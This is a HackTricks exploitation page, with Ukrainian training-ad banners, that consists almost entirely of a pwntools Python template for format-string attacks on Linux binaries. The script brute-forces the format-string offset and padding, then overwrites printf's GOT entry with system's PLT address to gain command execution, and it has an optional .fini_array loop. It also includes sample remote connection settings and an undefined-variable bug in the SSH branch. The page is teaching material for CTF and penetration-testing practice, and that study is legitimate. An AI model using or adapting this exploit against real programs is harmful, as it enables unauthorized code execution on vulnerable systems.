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hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md

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{% hint style="success" %} Вивчайте та практикуйте взлом AWS: Навчання HackTricks AWS Red Team Expert (ARTE)
Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %} ```python from pwn import * from time import sleep

###################

CONNECTION

###################

Define how you want to exploit the binary

LOCAL = True REMOTETTCP = False REMOTESSH = False GDB = False

Configure vulnerable binary

LOCAL_BIN = "./tyler" REMOTE_BIN = "./tyler" #For ssh

In order to exploit the format string you may need to append/prepend some string to the payload

configure them here

PREFIX_PAYLOAD = b"" SUFFIX_PAYLOAD = b"" NNUM_ALREADY_WRITTEN_BYTES = 0 MAX_LENTGH = 999999 #Big num if not restricted

print(" ====================== ") print("Selected options:") print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}") print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}") print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}") print(" ====================== ")

def connect_binary(): global P, ELF_LOADED, ROP_LOADED

if LOCAL: P = process(LOCAL_BIN) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

elif REMOTETTCP: P = remote('10.10.10.10',1338) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

elif REMOTESSH: ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) P = ssh_shell.process(REMOTE_BIN) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ROP_LOADED = ROP(elf)# Find ROP gadgets

#######################################

Get format string configuration

#######################################

def send_payload(payload): payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD log.info("payload = %s" % repr(payload)) if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") P.sendline(payload) sleep(0.5) return P.recv()

def get_formatstring_config(): global P

for offset in range(1,1000): connect_binary() P.clean()

payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" recieved = send_payload(payload).strip()

if b"41" in recieved: for padlen in range(0,4): if b"41414141" in recieved: connect_binary() payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" recieved = send_payload(payload).strip() print(recieved) if b"42424242" in recieved: log.info(f"Found offset ({offset}) and padlen ({padlen})") return offset, padlen

else: connect_binary() payload = b" " + payload recieved = send_payload(payload).strip()

In order to exploit a format string you need to find a position where part of your payload

is being reflected. Then, you will be able to put in the position arbitrary addresses

and write arbitrary content in those addresses

Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string

offset, padlen = get_formatstring_config()

In this template, the GOT of printf (the part of the GOT table that points to where the printf

function resides) is going to be modified by the address of the system inside the PLT (the

part of the code that will jump to the system function).

Therefore, next time the printf function is executed, system will be executed instead with the same

parameters passed to printf

In some scenarios you will need to loop1 more time to the vulnerability

In that cases you need to overwrite a pointer in the .fini_array for example

Uncomment the commented code below to gain 1 rexecution extra

#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address #INIT_LOOP_ADDR = 0x8048614 # Address to go back SYSTEM_PLT = ELF_LOADED.plt["system"] P_GOT = ELF_LOADED.got["printf"]

#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}") #log.info(f"fini.array address: {hex(P_FINI_ARRAY)}") log.info(f"System PLT address: {hex(SYSTEM_PLT)}") log.info(f"Printf GOT address: {hex(P_GOT)}")

connect_binary() if GDB and not REMOTETTCP and not REMOTESSH:

attach gdb and continue

You can set breakpoints, for example "break *main"

gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" sleep(5)

format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) format_string.write(P_GOT, SYSTEM_PLT) format_string.execute_writes()

Now that printf function is executing system you just need to find a place where you can

control the parameters passed to printf to execute arbitrary code.

P.interactive()

{% hint style="success" %}
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

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</details>
{% endhint %}